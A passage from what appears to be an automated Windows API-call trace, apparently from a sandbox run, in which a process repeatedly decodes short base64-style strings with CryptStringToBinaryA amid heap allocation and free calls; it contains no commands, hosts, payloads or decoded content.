returned 1 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f92890 [0043.133] CryptStringToBinaryA (in: pszString="zebq3sIZsVa53hdm", cchString=0x10, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.133] CryptStringToBinaryA (in: pszString="zbfkjPQvqViz3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f92890 [0043.133] CryptStringToBinaryA (in: pszString="zbfkjPQvqViz3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.134] CryptStringToBinaryA (in: pszString="zbfkl+MJ4Afo", cchString=0xc, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9) returned 0x4f92868 [0043.134] CryptStringToBinaryA (in: pszString="zbfkl+MJ4Afo", cchString=0xc, dwFlags=0x1, pbBinary=0x4f92868, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92868, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92880 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92880 | out: hHeap=0x4f90000) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.134] CryptStringToBinaryA (in: pszString="zbfkqfUVsHSO3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f92890 [0043.134] CryptStringToBinaryA (in: pszString="zbfkqfUVsHSO3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.134] CryptStringToBinaryA (in: pszString="zbfkuu8cp3SO3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f92890 [0043.134] CryptStringToBinaryA (in: pszString="zbfkuu8cp3SO3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.134] CryptStringToBinaryA (in: pszString="zbfkv+kdsnSO3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9f8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9f8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f92890 [0043.134] CryptStringToBinaryA (in: pszString="zbfkv+kdsnSO3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9f8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9f8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.135] CryptStringToBinaryA (in: pszString="w7mwmfQDq1Kk3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9f4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9f4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f92890 [0043.135] CryptStringToBinaryA (in: pszString="w7mwmfQDq1Kk3hc/", cchString=0x10, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9f4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9f4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.135] CryptStringToBinaryA (in: pszString="zbfklfUilx/w", cchString=0xc, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9f0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9f0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9) returned 0x4f92868 [0043.135] CryptStringToBinaryA (in: pszString="zbfklfUilx/w", cchString=0xc, dwFlags=0x1, pbBinary=0x4f92868, pcbBinary=0x18e9f0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92868, pcbBinary=0x18e9f0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92880 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92880 | out: hHeap=0x4f90000) returned 1 [0043.135] CryptStringToBinaryA (in: pszString="zbfks9VS+B8=", cchString=0xc, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9ec, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9ec, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8) returned 0x4f92868 [0043.135] CryptStringToBinaryA (in: pszString="zbfks9VS+B8=", cchString=0xc, dwFlags=0x1, pbBinary=0x4f92868, pcbBinary=0x18e9ec, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92868, pcbBinary=0x18e9ec, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.135] CryptStringToBinaryA (in: pszString="zbfkqfUVsFOrkUg/Vp8=", cchString=0x14, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9e8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9e8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe) returned 0x4f92890 [0043.135] CryptStringToBinaryA (in: pszString="zbfkqfUVsFOrkUg/Vp8=", cchString=0x14, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9e8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9e8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.136] CryptStringToBinaryA (in: pszString="zbfkv+kdski+mV9TDdCpiaZt", cchString=0x18, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9e4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9e4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12) returned 0x4f92890 [0043.136] CryptStringToBinaryA (in: pszString="zbfkv+kdski+mV9TDdCpiaZt", cchString=0x18, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9e4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9e4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928b0 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91590 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928b0 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.136] CryptStringToBinaryA (in: pszString="zbfkv+kFrEm4hQ8nTg==", cchString=0x14, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9e0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9e0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd) returned 0x4f92890 [0043.136] CryptStringToBinaryA (in: pszString="zbfkv+kFrEm4hQ8nTg==", cchString=0x14, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9e0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9e0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.136] CryptStringToBinaryA (in: pszString="lLmBmegVsFym3hdmTvSciaZt", cchString=0x18, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9dc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9dc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12) returned 0x4f92890 [0043.136] CryptStringToBinaryA (in: pszString="lLmBmegVsFym3hdmTvSciaZt", cchString=0x18, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9dc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9dc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f93c90 [0043.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928b0 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f915b8 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928b0 | out: hHeap=0x4f90000) returned 1 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915b8 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x4f915b8 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f92868 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915b8 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e) returned 0x4f915b8 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xec) returned 0x4f91660 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915b8 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x161) returned 0x4f93400 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91660 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7a0) returned 0x4f93c90 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.137] CryptStringToBinaryA (in: pszString="qNnkgao=", cchString=0x8, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5) returned 0x4f92868 [0043.137] CryptStringToBinaryA (in: pszString="qNnkgao=", cchString=0x8, dwFlags=0x1, pbBinary=0x4f92868, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92868, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f94438 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94438 | out: hHeap=0x4f90000) returned 1 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.137] CryptStringToBinaryA (in: pszString="qNnk0KQ2sFivr0RnCZ/2iQ==", cchString=0x18, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f92890 [0043.137] CryptStringToBinaryA (in: pszString="qNnk0KQ2sFivr0RnCZ/2iQ==", cchString=0x18, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18ea08, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f94438 [0043.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94438 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91590 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.138] CryptStringToBinaryA (in: pszString="qNnk0KQlsViur0RnCZ/2iQ==", cchString=0x18, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f92890 [0043.138] CryptStringToBinaryA (in: pszString="qNnk0KQlsViur0RnCZ/2iQ==", cchString=0x18, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18ea04, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f94438 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94438 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f915b8 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.138] CryptStringToBinaryA (in: pszString="zbfkqOkEo1GZlVd4Tofu", cchString=0x14, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf) returned 0x4f92890 [0043.138] CryptStringToBinaryA (in: pszString="zbfkqOkEo1GZlVd4Tofu", cchString=0x14, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18ea00, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f94438 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928a8 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94438 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a8 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.138] CryptStringToBinaryA (in: pszString="s7n8h6Q0sFS8mXlkHNjukb4=", cchString=0x18, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11) returned 0x4f92890 [0043.138] CryptStringToBinaryA (in: pszString="s7n8h6Q0sFS8mXlkHNjukb4=", cchString=0x18, dwFlags=0x1, pbBinary=0x4f92890, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92890, pcbBinary=0x18e9fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f94438 [0043.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f928b0 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94438 | out: hHeap=0x4f90000) returned 1 [0043.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.139] 